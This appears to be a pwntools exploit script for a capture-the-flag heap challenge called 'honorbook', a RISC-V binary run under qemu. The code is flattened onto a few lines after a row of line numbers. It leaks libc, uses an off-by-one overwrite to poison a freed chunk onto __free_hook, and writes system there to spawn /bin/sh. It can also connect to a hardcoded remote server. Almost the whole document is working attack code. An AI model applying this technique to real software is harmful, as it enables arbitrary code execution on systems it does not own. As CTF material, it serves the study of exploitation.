1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126
|
from pwn import * import os r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
elf_path = './honorbook'
libc_path = 'libs/lib/libc.so.6'
server_ip = "121.36.192.114" server_port = 9999
LOCAL = 1 LIBC = 1
def db(): if(LOCAL): gdb.attach(io)
def ad(idx, n, d): sla(':', '1') sla(':', str(idx)) sa(':', n) sa(':', d)
def rm(idx): sla(':', '2') sla(':', str(idx))
def dp(idx): sla(':', '3') sla(':', str(idx))
def md(idx, d): sla(':', '4') sla(':', str(idx)) sa(':', d)
def exploit(): li('exploit...')
for i in range(8): ad(i, 'A', '\n')
for i in range(8): rm(7 - i) for i in range(7): ad(i, 'A', '\n') ad(7, 'A', 'AAAAAAA\n') dp(7)
ru('AA\n') leak = u64(ru('\n').ljust(8, b'\x00')) libc_base = 0x4000000000 + leak - libc.sym['__malloc_hook'] - 88 - 0x10
system = libc_base + libc.sym['system'] __free_hook = libc_base + libc.sym['__free_hook']
rm(2) rm(0) ad(0, 'A', 'A' * 0xe8 + '\xf1') rm(1) p = b'B' * 0x20 p += p64(0) + p64(0xf1) p += p64(__free_hook) + p64(0) p += b'\n' ad(8, 'A', p)
li('leak: ' + hex(leak)) li('libc_base: ' + hex(libc_base)) li('free_hook: ' + hex(__free_hook)) li('system: ' + hex(system))
ad(9, '/bin/sh\x00', '/bin/sh\x00\n') ad(10, 'A', p64(system) + b'\n') rm(9)
def finish(): ia() c()
if __name__ == '__main__': if LOCAL: if LIBC: libc = ELF(libc_path) io = process(['./qemu-riscv64', '-L' , './libs', elf_path]) else: io = process(['/usr/bin/qemu-riscv64-static', '-g', '1234', '-L' , './libs', elf_path]) else: io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path) exploit() finish()
|